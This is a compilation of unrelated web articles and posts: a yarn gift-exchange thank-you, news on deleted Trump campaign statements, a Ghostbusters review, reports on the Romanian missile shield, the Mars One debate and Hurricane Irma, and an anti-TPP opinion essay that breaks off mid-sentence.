-OH MY GOSH. My yarn exchange match REALLY outdid themselves. I am so, so happy! I opened the box and and was first greeted by a BIG bag of M&M's (YUM) and a box of tea. Serious sleuthing must have happened to figure out that I am a tea lover, so way to go, SS! I can't wait to try the chai (perhaps while casting on...?).  Then I removed the top-secret bubble wrap to reveal...holy crap!! SO MUCH YARN! And SO PRETTY! I am not exaggerating or being facetious when I say I squealed with delight. AND they sent me patterns for suggestions for what to make with the yarn! I cannot wait to make my first pair of socks with the gorgeous rainbow yarn...and to make Henry's rabbit (which I have been wanting to make forever, but I don't even think it's in my Ravelry queue, so my SS must be psychic) with Brava. I have always wanted to try Brava, so I'm super excited! And the shawl pattern is gorgeous and will go perfectly with the autumn-y colored yarn. I have never seen (let alone used) such gorgeous yarn before.  Ok, seriously, SS. I don't know how you did it, but you read my mind on everything. You are amazing. I just wish I knew your reddit username! Please reveal yourself!  Thank you, thank you, thank you! You are amazing!
-1 of 58 Full Screen Autoplay Close Skip Ad × A look at President Trump’s first six months in office View Photos Scenes from the Republican’s beginning months in the White House. Caption Scenes from the Republican’s beginning months in the White House. Jan. 25, 2017 Trump signs an executive order for border security and immigration enforcement improvements at the Department of Homeland Security in Washington. Chip Somodevilla/Pool photo via Bloomberg News Buy Photo Wait 1 second to continue.  The Trump campaign website got an upgrade this week. According to a news release from the president's reelection campaign (yes, already), it's now a one-stop shop for “fact-based information” that the mainstream media doesn't want you to know about.  On donaldjtrump.com, you can check out never-before-seen rally photos, buy merchandise and get the real, unfiltered scoop on what your president is up to.  Sounds pretty handy. One problem: The website revamp also appears to have vanished every single news release and public statement issued during President Trump's first campaign.  Gone is Trump's call in 2015 for a ban on Muslim visitors, which The Washington Post's Fred Barbash wrote about in detail.  The 4th U.S. Circuit Court of Appeals examined a ruling that blocks the administration from temporarily barring new visas for citizens of Iran, Libya, Somalia, Sudan, Syria and Yemen. (C-SPAN)  But gone also is his famous statement on “COMPELLING MEXICO TO PAY FOR THE WALL”; and the less-famous one comparing refugees to car payments; and the write-up of “TRUMP'S 'VERY GOOD' ECONOMIC SPEECH.”  You'll notice we're still linking to these items.  Whatever the reasons for their disappearance from the website, the statements are all preserved in the Internet's unofficial archives. So naturally, people are now sifting through them, assembling highlight reels of the campaign's greatest literature — even if it no longer officially exists.  Here's our attempt.  Disclaimer: This can't possibly be a complete or even representative sampling of Trump's many, many deleted campaign statements, of which nearly a dozen were once issued in a single day.  Here's what appears to be the very first of them: a March 18, 2015, announcement of Trump's presidential exploratory committee.  It quotes his senior political adviser, Corey Lewandowski: “Mr. Trump has the vision and leadership skills to bring our country back to greatness.”  Lewandowski, you may recall, went on to become Trump's campaign manager — then abruptly resigned after a string of accusations that he roughed up reporters and made inappropriate comments to women.  The early Trump campaign communicated with a bombast that alternately repelled and captivated the electorate.  “The American Dream is dead — but if I win, I will bring it back bigger and better and stronger than ever before.” — Trump, announcing his candidacy in June 2015.  Even something as perfunctory as filing a financial disclosure statement became, in the campaign's wording, a feat of paperwork “not designed for a man of Mr. Trump's massive wealth.”  “First people said I would never run, and I did,” Trump said in that statement. “Then, they said I would never file my statement of candidacy with the FEC, and I did. Next, they said I would never file my personal financial disclosure forms. I filed them early.”  The next logical step in that sequence, however, continues to vex Trump as president: He never released his tax returns.  President Trump on April 16 issued two tweets in which he criticized protesters who marched the day before to demand that he release his tax returns. (Bastien Inzaurralde/The Washington Post)  “I've studied this issue in greater detail than almost anybody.” — Trump, condemning the Iran nuclear deal in a campaign statement March 21, 2016  By the end of 2015, despite experts discounting his chances, Trump was making policy promises in his statements.  “Bring China to the bargaining table by immediately declaring it a currency manipulator,” for example.  Trump didn't actually follow through on that declaration. He didn't need to, he told a reporter last month: “As soon as I got elected, they stopped.”  “To be endorsed by a Gold Star mother is such a wonderful honor.” — Trump, quoted in a February 2016 statement “His wife, if you look at his wife, she was standing there. She had nothing to say. She probably, maybe she wasn't allowed to have anything to say.” — Trump, quoted in a July 2016 release, after two Gold Star parents condemned his attacks on Muslims  While his ultimate rival was Hillary Clinton, Trump campaigned nearly as often against the current White House.  “What President Obama gets wrong about deal making is that he constantly applies pressure to our friends and rewards our enemies,” he said in a March 2016 speech, the transcript of which was released in full as a campaign statement, now deleted.  After he assumed the Oval Office from Barack Obama nearly a year later, transcripts leaked from phone calls in which Trump reportedly berated some of the United States's closest allies.  President Trump has extended an invitation to the White House to Philippines President Rodrigo Duterte, despite the bloody drug war Duterte is carrying out in his country. (Sarah Parnass/The Washington Post)  Trump has since been accused of cozying up to strongmen and U.S. rivals around the world, including Philippine President Rodrigo Duterte, who was invited to the White House last month after prosecuting a murderous drug war.  “Trump's New Deal for Black America” — title of a campaign statement released a week before Election Day  As Trump kept winning primary elections, the political establishment he loved to denigrate began to take his rhetoric more seriously.  Last May, Trump's campaign released a list of 11 candidates he might name to the Supreme Court should he win. Months later, he added 10 more — “an unprecedented move for American presidential candidates,” the Atlantic wrote.  They hadn't seen anything yet. Once in office, according to the New York Times, Trump orchestrated “an 'Apprentice'-style finale” in which his top two choices headed toward the White House on the same night, only for the president to reveal Judge Neil M. Gorsuch as the next Supreme Court justice.  In the waning days of his campaign, the typical Trump statement had evolved from occasionally typo-strewn bombast into multi-pointed plans for what he'd do in office.  Many of these promises came true. Like withdrawing from the Trans-Pacific Partnership — foretold in an August campaign statement, and accomplished in his first week as president.  Another bullet point in that same statement proved thornier: “Repeal and replace Obamacare (will be outlined in-depth in a future speech).”  But by March, when the White House finally released what Trump called a “beautiful” health care plan, many analysts found it vague. And Congress failed to even vote on it.  Trump got a redo this month. A partial repeal of Obamacare passed through the House, though many Republicans openly acknowledged that they hadn’t read the bill.  Which recalls another Trump quote you can no longer find on his campaign website: a November statement in which he complains about the passage of the Affordable Care Act and that “no one even read the 2,700-page bill.”  The Trump campaign did not respond to questions about why statements released before January appear to have been removed from its website.  You can read them all on the Internet Archive. There's also a faster-loading cut-and-paste archive at the American Presidency Project.  This article has been updated.  More reading:  The violent rally Trump can’t move past  Meet the activist who calls Trump an anti-Semite using Anne Frank’s name  A complete guide to every reference in Melissa McCarthy’s epic Sean Spicer sketch on ‘SNL’
-Sign us up for this reboot.  Black Panther costars Lupita Nyong’o and Danai Gurira recently took their friendship to the next level by throwing a joint Coming to America-themed birthday party.  The friends, who are starring in director Ryan Coogler’s upcoming Marvel film, joined forces to celebrate their respective birthdays in style — Zamunda style.  In honor of the classic Eddie Murphy film about an African prince who gives up everything to move to America, Nyong’o dressed up as the Lady-in-Waiting, while the Walking Dead star was the Queen-to-Be.  Many members of the Black Panther cast attended, including T’Challa himself Chadwick Boseman, Daniel Kaluuya (Get Out), and Winston Duke (Person of Interest). Singer and Hidden Figures star Janelle Monáe also made an appearance.  This isn’t the first time Nyong’o, an Oscar winner for 12 Years a Slave, and Gurira have worked together. Last year, Nyong’o starred in Eclipsed, a Broadway play written by Gurira.  See the birthday festivities below.
-Share. Burdened by the ghosts of its past. Burdened by the ghosts of its past.  There's a lot of negativity stacked against Ghostbusters, a remake/reboot of the beloved franchise starring four women -- Kristen Wiig, Melissa McCarthy, Kate McKinnon and Leslie Jones -- instead of the four men that fans have become accustomed to. Like it's hard to walk into the film unbiased by the previous films it takes its name from, it's hard to walk into Ghostbusters unaffected by the fact so many people decided to hate this movie on premise alone.  I wanted to love this new Ghostbusters, but unfortunately it is just fine, though not for the reasons many would expect. The Ghostbusters themselves are great; Wiig and McCarthy ground the film with a great friendship and the chemistry they established during their previous work with Feig together, each taking on a different sort of role than what they've become known for in their other comedy work. Jones is also fantastic, being the layman who blends so well with the other three scientists on her team and nailing her jokes every time.  Exit Theatre Mode  Even McKinnon, who wasn't as much of a scene-stealer as was expected after becoming immediately memeable from Ghostbusters' trailers, brings something different to a movie that hews in many ways back to the 1984 original. You can't help but root for these four, who are just trying to use hard science to prove the paranormal exists and make New York City a safer place. They're the heart of Ghostbusters, and in many ways they're the thing that keeps it chugging along.  Ghostbusters, written by Feig and Katie Dippold, largely follows the structure of Ivan Reitman's first film. Wiig's Abby Yates and McCarthy's Erin Gilbert are former friends and paranormal investigators who are brought back together after a rift in their friendship when, with Erin's new nuclear engineer pal Jillian Holtzman (McKinnon), they encounter their first ghost. As more and more malevolent entities start popping up in New York, they perfect their equipment and gain a new ally (Jones's Patty Tolan) and discover someone is trying to summon the ghosts to bring about a paranormal apocalypse.  Exit Theatre Mode  The plot is nothing new, but also largely works. It's the friendship between the four Ghostbusters that keeps the film moving along, and though there are rifts that pull them apart, you always feel like they're on the same team. The story offers a new mythology for the ghost girls and it's fun seeing them work together. When they finally do come in to save the day, their journey to that point feels earned.  Unfortunately, it's the pacing and editing that is the biggest problem with the movie. Ghostbusters is a comedy first, and for all that haters blasted the movie for starring four women, it's actually director Paul Feig who doesn't seem like he's the right fit for the series. In terms of Feig's brand of comedy, Ghostbusters is more Spy than Bridesmaids, but his humor never quite jibes appropriately with the tone of the film. It doesn't help that the pacing undercuts what could have otherwise been strong moments. Reveals meant to be impactful, like Abby's explanation of why she was called "ghost girl," aren't given the set up they need and are later relied on too heavily. It's clear this script and final cut went through multiple revisions, but could have still used another pass to create a more cohesive product.  Exit Theatre Mode  McKinnon's character Holtzmann is the biggest example of this. It's clear from the immediate reactions online to her nutso take on the nuclear engineer that people were excited for the comedy she was performing. But almost all of her scenes don't land properly, both because the movie doesn't make time for McKinnon to do her thing and also because this gimmick feels like it's meant for a different movie.  There was a cohesion lacking across the board with the pacing, with long lulls without big comedy moments and a movie that felt long in its 116-minute running time. It's a shame, too, because much of the movie works on paper. The ongoing gag that repeatedly worked was Chris Hemsworth's character Kevin, their secretary who is sweet but dumb as bricks. Hemsworth commits to Kevin's idiocy and knows how to play perfectly off of the four leads, but even that joke doesn't work as well by the end of the movie.  Exit Theatre Mode  Ghostbusters can't decide whether it wants to be a completely new take on the property or a loving homage to the original, and because of that it's trapped between the two. As much as Feig and Dippold remix the formula, there are too many callbacks to the original, from the cameos (only one or two of which actually work) to the catchphrases to the iconic songs to even the new film's version of the Stay-Puft Marshmallow Man. But when Ghostbusters is doing its own riffs on these elements anyway, the film becomes burdened by the ghosts of its past.  It's frankly disappointing that the new Ghostbusters movie doesn't work as well as it had the potential to. The film is conscious of the criticisms and vitriol that has already been leveled against it and that is steeped into its DNA, all the way to the mid-credits ending. I wanted this to be a movie as worthy as a cult following as the film on which it's based, but for all that does work about Ghostbusters -- and, again, it's the leads that carry it as much as they can -- there's plenty that holds it back from being great.  Exit Theatre Mode
-On Thursday, the United States activated its missile defense system in Romania. The $800 million dollar system is the first of its kind in Europe, and aims to defend the US and Europe from, "rogue states," namely, Iran.  Russia, however, insists that the US aim is to neutralize Moscow's nuclear arsenal long enough for the US to strike Russia.  According to Putin, "This is not a defense system. This is part of U.S. nuclear strategic potential brought onto a periphery. In this case, Eastern Europe is such periphery." He also said that the missile shield was, "yet another step to rock international security and start a new arms race."  Apparently, the Kemlin has viewed this project all along as a threat to its own national security, and says that steps are being taken to ensure Russia's safety, no matter what. Though Russia refuses to be drawn into another arms race, it is rearming and rebuilding its army and navy in a way that will, "uphold the current strategic balance of forces."  The new missile shield system is capable of shooting down rockets meant to reach major European cities. This missile shiled is meant to stretch from Greenland to the Azores. It is expected to be ready by the end of 2018.  Similar to Israel's Iron Dome, Romania's new missile shield relies on radars to detect the launch of a ballistic missile into space. Sensors then measure the rocket's trajectory and fire an interceptor missile, destroying the offending missile while it is in space, and before it re-enters the earth's atmosphere. The interceptor missiles can be fired from the ground or from ships.  Chairman of the State Duma's defense committee, Admiral Vladimir Komoyedov, claimed that the missile defense site is a threat to Russia.  “They are moving to the firing line. This is not just 100; it’s 200, 300, 1,000% aimed against us," Komoyedov said.  It is not clear what Russia's response will be. It is speculated that Russia will place missiles capable of carrying missiles in Kaliningrad.  The United States and NATO insist that this shield is not meant for use against Russia, but against countries in the Middle East.
-In October 2014, Massachusetts Institute of Technology graduate students Sydney Do and Andrew Owens released an independent research report on Mars One — a not-for-profit organization that wants to create a long-lasting human colony on Mars. The findings were bleak, casting into doubt the credibility of the project. Initially Do and Owens were dismissed by the organization as "undergraduates." But Mars One continued to be buffeted by criticism; the group belatedly scheduled a debate with Do and Owens on August 13th at the Catholic University of America in Washington, DC. It has been nearly a year since Do and Owens released their report, and it was the first time Mars One CEO Bas Lansdorp has responded to them directly.  For space enthusiasts, the showdown promised to be as epic as Ripley battling the queen xenomorph.  Mars One captured space geeks’ attention by promising to send them to Mars in the mid-2020s. The organization’s stated goals are to send a lander with communications capabilities to Mars in 2020 as a "demonstration mission." Then, in 2022, to send an "intelligent" rover to the planet, which will drive around the Martian surface to find the best location for the Mars One settlement. A cargo mission will launch in 2024, carrying a second rover and the bulk of the supplies needed for the habitat; the rovers will then assemble the outpost before the first humans land in 2027. That first settlement mission will be followed by additional crews of four landing every two years.  It was the first time Mars One CEO Bas Lansdorp has responded to them directly  Do and Owens used the Mars One plans — at least, the ones they could find — to run feasibility tests on the mission. They presented their results last year at the 65th International Astronautical Congress in Toronto, Canada. The MIT researchers analyzed the living conditions on Mars, including food production, cabin pressure, and habitat construction. Mars One’s current plans would probably kill its astronauts within the first few months of the mission, they concluded.  In response, Mars One attacked the MIT team’s credibility. "It’s not an MIT report, it’s a report by a couple of MIT students — bachelor students who don’t have their PhD degree yet," Lansdorp said in February during a radio interview. Mars One spokesperson Suzanne Flinkenflӧgel employed the same tactic during an interview with TechNewsWorld in late March. The study was written by a "couple of undergraduate students," she said. And the organization’s chief medical officer, Norbert Kraft, repeated the same message to a Verge reporter in early April. "You’re talking about the undergraduate study? It’s not PhD, they are undergraduates, I’m sorry. They’re undergraduate students who wrote a paper to go to a conference, and that’s what it is."  "First of all, it’s really sad they’re mocking the work of students, because that just hurts our community and industry," Do told The Verge earlier this year. "But second of all, we’re not undergrads."  Lying about the qualifications of your critics isn’t a good look, and Mars One eventually figured that out. Which is why Lansdorp decided to address Do and Owens personally in DC. The three of them came for the 18th Annual International Mars Society Convention to discuss the feasibility of Mars One in public debate.  From left to right, Sydney Do, Barry Finger, the Mars Society moderator, Andrew Owens, and Bas Lansdorp pose for a photo after the debate.  Do and Owens stepped up to the podium and began their presentation clad in black, single-breasted business suits. Do was clean-shaven, while Owens sported a manicured beard. The two spent 20 minutes clearly and carefully outlining their findings, using language a layperson can understand.  First, they said, Mars One will have to significantly improve on current space landing systems. That’s contrary to the organization’s claims that the mission will be "built entirely upon existing technology." At the moment, engineers can drop something that weighs a metric ton (more than 2,200 pounds) on Mars without destroying it, but anything heavier is much more difficult. That’s because of Mars’ atmosphere: it’s thinner than Earth’s, so engineers can’t rely on wind resistance to slow things headed for the surface. Mars One’s plans require them to land at least 2.5 metric tons (5,500 pounds) of food for their 2024 cargo mission; this means the organization will need an entirely new method of landing.  The main argument revolved around the sheer cost of sustaining a space colony indefinitely  This was just a warm-up, though. Do and Owens’ main argument revolved around the sheer cost of sustaining a space colony indefinitely. Mars One has said that sending its first crew to Mars would cost about $6 billion. Each additional one-way trip to Mars — trips that would send more "settlers" to the Red Planet — would cost $4 billion. Those estimates include equipment costs and operational costs, the company says. Planning a one-way mission might seem drastic, but it’s "the only way we can get people on Mars within the next 20 years," according to the project’s website. Sending people back home after a few months, or years, would be too costly — and technology that would allow someone to return from Mars doesn’t exist yet.  But the cost advantage of a one-way mission is questionable, as spare parts become a crucial issue, Do and Owens said. For instance, to keep the International Space Station operational, NASA must launch a steady stream of cargo missions to replenish the station's supplies. Hardware breaks frequently on the ISS; astronauts spend a lot of time doing repairs. A settlement on Mars — surrounded by lots of fine dust that can clog complex air filtration systems — will likely need a lot of spare parts, Do and Owens argued. But unlike the ISS, which is resupplied every few months, the Mars One settlement will receive supply shipments only once every 26 months.  The MIT team argued the amount of spare parts needed for a growing colony will cost hundreds of billions of dollars — and those costs will only increase. The mission gets more expensive over time, "in an unsustainable manner," Do said in a March interview. "You have to resupply the colony indefinitely." Which means Mars One’s $6 billion estimate is probably low. Even NASA estimates that its human mission to Mars, which is planned for the 2030s, will cost between $80 to $100 billion.  Mars (ESA/MPS for OSIRIS Team)  There is technology that could help alleviate the resupply problem: 3D printing. But material for the printers will still need to be shipped from Earth. And while it’s possible that Martian soil could be used as stock in the printers, the technology required to use dirt as a source of "ink" for 3D printing tools probably won't be ready by the time Mars One plans to launch.  Essentially, the conclusion of Do and Owens’ work is that the cost of the Mars One mission grows exponentially over time. Even if the astronauts somehow make it to Mars, the settlers will need a monumental amount of supplies or else they will die horribly. "Our belief based on the data is that, no they cannot do this," said Owens, rounding out their presentation.  Bas Lansdorp decided the best counterargument was nostalgia  Lansdorp then stepped up to rebut their argument. Tall and thin, with very little hair, the Mars One CEO was dressed casually, wearing a blue button-down, a beige blazer, and jeans. He spoke softly and slowly, with a thick Dutch accent, beginning his 20-minute presentation with an anecdote about the time he watched the Apollo 11 astronauts walk on the Moon. He asked if anyone in the room remembered what it felt like to see those men take their first steps on another body in space. "It was one of the few moments in history where the whole world came to a stand still for a positive reason," he said. The trip down memory lane lasted at least five minutes.  Eventually, Lansdorp addressed the MIT study, which was, in theory, the reason he was there. He admitted that Mars One should have embraced the study’s findings instead of attacking them, as they were essentially free feedback from engineers with expertise. He then proceeded to backtrack on the mission's timeline, without giving specifics on what was being delayed, or until when. "Our plan is not etched in stone, and we’ve already announced delays," he said. "Reality catches up with your plan." If Mars One does delay again, it won’t be the first time. The organization had originally planned to land humans on Mars in 2023. They changed that date to 2025, before settling recently on 2027.  Lansdorp presented only one slide for the evening: an infographic of all the vehicles used for the Apollo missions. It seemed as though, faced with the logistical problems the MIT duo has identified, he decided the best counterargument was nostalgia: Mars One is possible because of how NASA stepped up to President John F. Kennedy's challenge of sending humans to the Moon in the 1960s. If they can do it, so can we, he implied. It's a sentiment he repeated at least four times throughout the evening.  The Martian surface and Mars One's vision for a Mars habitat. (NASA/Mars One)  At no point did Lansdorp directly address the claims made by MIT. He provided no concrete details regarding the mission's rockets, landers, interplanetary vehicles, or habitats. He barely touched on any science. He left that to his partner Barry Finger, an engineer and director for Paragon Space Development Corporation.  Paragon, a company that builds life support systems for extreme environments, conducted its own feasibility study of Mars One, released in July. Paragon’s report came to some similar conclusions as the MIT study: technology development and adaptation are still needed for the mission to work. But despite the evening’s premise, Finger didn’t address Do and Owens' claims. Instead, his presentation was a complicated history lesson of how Paragon has solved engineering problems in the past — essentially a technology-focused continuance of Lansdorp’s pep talk. It was not exactly a convincing rebuttal, filled with lots of technical jargon and presented so poorly that it was hard to follow along. And of course, past performance is not necessarily indicative of future results, as the finance world is so fond of reminding us.  At no point did Lansdorp directly address the claims made by the MIT students  Then it was time for the question-and-answer session. In response to one question, Lansdorp admitted that the $6 billion cost estimate may be unrealistic. He didn’t offer up an alternative cost estimate or suggest that Mars One would be seeking additional funding, though. He also repeated the claim that Mars One would require less funding because there would be no return mission — an argument the MIT students reminded him wasn’t correct.  It turns out Mars One is currently hurting for cash. Lansdorp said the organization has only $700,000, garnered from its candidates' application fees and early investors. That isn’t enough money to pay Lockheed Martin to do a concept study — part of the organization’s initial plans. Mars One is currently asking for $15 million from investors to make that happen. Lansdorp, however, is confident that he "might actually get a phone call from a billionaire who says, 'I want to make this happen,'" he said. That seems to be the crux of the mission's financial plan: make a big splash in the media to attract big investors. Then, private space companies will offer up their services and figure out all the technical details for them.  So Lansdorp has proposed a reality show. Mars One plans to launch a 24/7 TV show that will follow the final colonist candidates as they train and prepare for the mission ahead. Lansdorp said the broadcast rights and sponsorships for that show will greatly exceed those of the Olympic Games, which he claimed averaged around $8 billion for the 2010 and 2012 cycles. (The source link for this number is broken on the Mars One website.)  Mars One CEO Bas Lansdorp addressed criticisms of the organization in a YouTube video.  The evening devolved from there. "The rockets aren’t the problem; the transit is not the problem," said Lansdorp about the biggest challenges they have to face, as Do and Owens just stared at him with their brows furrowed. "Landing on Mars… I’ve talked with several engineers from NASA who say they can do that with the current method." Maybe so. But the space agency has stated publicly that NASA can’t land more than one metric ton with current landing technology.  "Bashing NASA does not prove the feasibility of Mars One."  At one point, Owens confronted Lansdorp about a claim that the CEO made on television, saying that the organization had conducted its own feasibility study and found that Mars One is possible with current technology. "There’s science conferences and then there’s TV," says Lansdorp sheepishly. "As the CEO of the company, I always have to balance between how I phrase things." That feasibility study never happened; Lansdorp went on TV and lied.  Lansdorp was repeatedly asked for concrete details about the Mars One mission plan, but avoided answering with specifics. Instead he parroted the same talking point over and over again: NASA stepped up to Kennedy’s challenge, so Mars One can step up to this challenge. After Lansdorp said this for the fourth time, the MIT team just sat there shaking their heads.  Then, Lansdorp grasped at another argument, stating that NASA has been promising us a mission to Mars for the past 45 years and it has yet to happen. The argument was met by applause from the audience. Owens grabbed the microphone from Lansdorp: "Bashing NASA does not prove the feasibility of Mars One." The statement was met by even greater applause. In fact, nothing Lansdorp said during the debate proved the feasibility of Mars One. In the end, Mars One was in about the same shape as the queen xenomorph, flailing uncontrollably after it got blown out of the air lock.  Sean O'Kane and Arielle Duhaime-Ross contributed to this report.
-LAKE COUNTY, Fla. - Red Tomlin and Lyge Perry live on the same street in their Leesburg community, but the two friends are riding out Hurricane Irma in a concrete parking garage instead of their mobile homes or in a shelter.  Leesburg is Florida’s most hurricane-safe city, according to HomeInsurance.com, due to its low flood score and its low amount of storm-related deaths and damage. The city occupies about 24 square miles of central Florida’s Lake County and is home to more than 21,000 residents.  Two of those residents, Tomlin, 70, and Perry, 69, are waiting out the storm together from a Leesburg City Parking garage near the city's library.  They've been friends for 55 years but this is the first time they're waiting out a storm together. They brought snacks and hope to go home Monday after the storm passes.  Instead of heading to one of the area shelters the duo decided on an area with a little more open space.  "Concrete structure, yeah, it’s not going anywhere and I don’t want to be around a bunch of people laying 3-inches from someone else,” Tomlin said.  Perry said he thought the idea to hole up in the garage was a big secret, but others started filling the garage too.  "Those shelters are going to smell Avon and armpits, honestly, and I have COPD I can’t tolerate it I need fresh air," Perry said.  The friends plan to stay in the garage through the worst of Hurricane Irma Sunday and Monday.  "I hope it’s not more than a day. I don’t have a lot longer to live," Perry joked.  Copyright 2017 by WKMG ClickOrlando - All rights reserved.
-(Photo: via Shutterstock )  A world without democracy, ruled by a technocratic elite serving the interests of US and global capital – protecting “investor rights” against national laws and regulations – is now being created in secret negotiations over free-trade treaties, one of which, the TransPacific Parnership (TPP), may be sewn up this fall. Can popular will stop it?  For four decades now, we have seen corporate-led neoliberal globalization transforming nation-states into globalized states that serve the interests of transnational capital above the interests of national populations. This tendency has been strong in states both of the global North and of the global South. Everywhere sovereignty is being compromised. The ideal political system most suitable for such globalized states is polyarchy, since it legitimates relatively autonomous elite rule. However, even in such a managed “democracy,” there are moments when elites can be made accountable to national populations through the struggles of social movements. Occupy Wall Street was the beginning of such a social movement.  As philosopher Milton Fisk has argued in The State and Justice: An Essay in Political Theory, in the class-divided societies of capitalist countries, the function of the state is to maintain the social order. This means the political elite promotes the interests of the economically dominant class. This is due to what István Mészáros calls “the metabolic reproductive process” of capitalist society. However, to maintain governability, it is sometimes necessary to limit the benefits going to capital and to increase the benefits going to the popular classes. How far the elite moves in the direction of social justice depends on the level of the subject classes’ political activity. The elite’s default position is to favor the interests of capital, if only because the interests of the dominated classes depend on them.  A state is a democratic nation-state insofar as it represents the interests of the peoples it governs. That nation includes both the dominant class of capitalists and the dependent popular classes. The constellation of class forces within the nation at any given time directs the nation-state. The state mediates class relations, as, for instance, in constructing the class compromise of the capital-labor accord represented in the Fordist regime of production, a model of economic expansion named after Henry Ford.  Popular Sovereignty Gone with Globalization  However, with globalization, transnational corporate capital has leaped over the territorial and legal boundaries of the nation, and the state is following it. In so doing, the nation-state is morphing into a globalized state that serves the interests of transnational capital rather than any “own” national population. Contrary to what some have claimed, globalization has not weakened the state. In some respects, it has even strengthened it, particularly the executive branch. But globalization has weakened the state’s connection with its own citizens as the state follows capital into a new global economic system.  Following William I. Robinson’s seminal critique of US “democracy promotion” programs, Promoting Polyarchy: Globalization, US Intervention and Hegemony, we argue that polyarchy is the ideal political form for globalized states. Contested elections are an effective way to periodically renew the perceived legitimacy of elite rule. That is the genius of the US political system that has made it so stable. However, in times of extreme systemic crisis, as in the Great Depression of the 1930s, electoral politics was supplemented by the more genuine democracy of social movements. It was this popular pressure from outside the formal established political process that saved capitalism from itself by forcing the elite to accept changes otherwise resisted by capital. It was democracy that saved capitalism.  Normally, the state is able to function as a kind of Central Committee for the capitalist class, attending to the systemic needs of the capitalist system as a whole. This at least was the case during the era of national capitalism. The unrestrained individual interests of capitalists could destroy the system. States regulate and moderate in the interests of capital as a whole. Popular pressures often pushed states in this direction. Each capitalist, for example, seeks to pay low wages so as to increase profits and wishes his competitors will pay high wages so there will be consumers to buy his commodities. Popular pressure and state action are needed to sustain capitalism.  Karl Polanyi pointed out in his classic 1944 work, The Great Transformation, that “capitalism would be an unsustainable and chaotic social order if the state played the minimalist role specified in the libertarian fantasy.” According to Eric Olin Wright in, Envisioning Real Utopias (p.124), it is just such a minimalist role that neoliberalism demands. Neoliberalism is the default position of capitalism in the absence of countervailing pressure on capital from popular forces pressing for greater social justice. That pressure usually acts through the instrumentality of the state as the rule-making body for society. As we have said, the function of the state is to maintain the social order, which means the capitalist relations, but it must sometimes modify these in the face of popular pressure to maintain governability. In those circumstances, a liberal sector of the political elite may modify neoliberalism in the direction of a social liberalism of the sort seen in the New Deal. Absent that, the state reverts to neoliberal policies that support the supremacy of capital.  The contradictions of unbridled neoliberalism are the contradictions of unrestrained capitalism. It is a system that tends toward self-destruction. Capitalism IS crisis, says David Harvey, The Enigma of Capital: and the Crises of Capitalism. To survive, it needs the restraining hand of the state, frequently brought into play by demands of the popular classes.  Capital Escapes Regulatory Reach of Nation-States  With the globalization of capital in its corporate form, capital is escaping the regulatory reach of nation-states. Transnational capital is constructing its own governance structure (World Trade Organization and multilateral free trade agreements) with the assistance of globalized states. Just as neoliberal structural adjustment programs required what the World Bank called “macroeconomic management by an insulated technocratic elite” for their implementation (World Development Report 1997: The State in a Changing World, p. 152.), now a global governance structure is being built on the same political principle, a corporate elite insulated from popular pressures, beholden to transnational corporations only. What is emerging is an unbridled neoliberal regime in which states are only the administrative agents that protect capital against the popular classes. As Renato Ruggiero, director-general of the WTO put it in 1995, “We are no longer writing the rules of interaction among separate national economies. We are writing the constitution of a single global economy.”  This is what has been institutionalized in trade dispute adjudication panels established under the WTO and through free-trade treaties like NAFTA and the pending TransPacific Partnership (TPP). These are secret panels that protect “investor rights” against national laws and regulations that adversely affect corporate profits, no matter how democratically those laws and regulations may have been established. The rationale for investor rights is protection of capital against nationalization. This rationale has been extended to so-called “regulatory takings” as well, which are considered as tantamount to out and out expropriation even though what is usually “taken” is a hypothetical opportunity. Consequently, state actions that protect public health and the environment, such as the Quebec moratorium on fracking in the St. Lawrence River valley, are seen as a “taking” of profits due to the US-chartered corporation that holds a permit for this mining activity that has undetermined adverse effects on the environment. So the corporation is now suing the state for compensation. A NAFTA panel is now considering whether to award the corporation $250 million of taxpayer money to keep them from endangering the health of the people of Quebec.  Closed Courts Determine When “Rights” to Profit Violated  Such “investor-to-state” cases are litigated in special arbitration bodies of the World Bank and the United Nations, which are closed to public participation, observation and input. They have the power to award unlimited amounts of taxpayer dollars to corporations whose rights to make a profit they judge have been violated. By latest count, some 450 investor-to-state cases have been filed against 89 governments by transnational corporations, which have been awarded $700 million to date.  The protection of profits over people has become a standard feature of so-called free trade agreements. Actually, they are more about ensuring corporate profits than trade in any normal sense of the word. It is the protection of free movement of capital across borders more than the free movement of goods that is at stake. It was the Nixon administration that included investor rights in its trade negotiations under the fast track authorization it initiated. It has since become a standard feature of all trade agreements. The 11 countries in TPP already have free-trade agreements. So why this new one? It has the enhanced investor rights transnational corporations have long dreamed of. It is likely that this will also be the case with the new initiative with the European Union proposed by the Obama administration. At least that agreement is being advertised with a more honest name: Transatlantic Trade and Investment Partnership (TTIP). It is likely to privilege transnational corporations in the same way as TPP.  Since rejection of the Free Trade Agreement of the Americas at the hemispheric summit in 2005 by the countries of Latin America and the collapse of the Doha round of WTO negotiations in 2008, transnational capital has sought to embed protection of Trade Related Intellectual Property (TRIP) and other investor rights in new free trade agreements. TPP is the latest such power grab by transnational corporations. TPP has been described as “NAFTA on steroids” by those who have seen some of its leaked provisions. Negotiations began under the Bush administration and the Obama administration is continuing them in secret in hope of completing the agreement by this October. The discussions include trade representatives of the United States and Australia, Brunei, Canada, Chile, Mexico, New Zealand, Peru, Singapore, Malaysia and Vietnam. Japan has just joined. But the public, members of Congress, journalists, and civil society are excluded. Not even Congressional committees have been able to see the draft text, but 600 corporate advisors have. They are writing the rules for trade in their own interests without any democratic input from the people whose lives will be profoundly affected. If adopted, TPP will deny citizens their democratic rights to shape public policies on a host of domestic issues, conceding those decisions to the large corporations.  Some sections have been leaked. And what they reveal is “an agreement that actually formalizes the priority of corporate power over government,” according to Lori Wallach of Public Citizen’s Global Trade Watch. Only 5 of the 29 chapters have to do with trade. Wallach says the rest of the draft:  “include[s] new rights for the big pharmaceutical companies to expand, to raise medical prices, expand monopoly patents; [there are] limits on Internet freedom, penalties for inadvertent noncommercial copying, [like] sending something to a friend. There are the same rules that promote off-shoring of jobs that were in NAFTA that are more robust [and] that literally give privileges and protections if you leave. There is a ban on “buy American” and “buy local” or “green” or sweat-free procurement. There are limits on domestic financial stability regulations. There are limits on imported food safety standards and product standards. There are limits on how we can regulate energy towards a more green future – all of these things are what they call “Behind the Borders” agenda. And the operating clause of TPP is: “Each country shall ensure the conformity of its domestic laws, regulations and administrative procedures with these agreements.” That’s to say, that we’re told to conform all of our domestics laws – including all the important public interest laws fought for so hard by people around the country – for these corporate dictates, and it’s strongly enforceable. If we do not conform our laws, another country can challenge us and impose trade sanctions until we do, but this one is even privately enforceable by the corporations themselves.  What is being constructed secretly, bit by bit, is a global governance 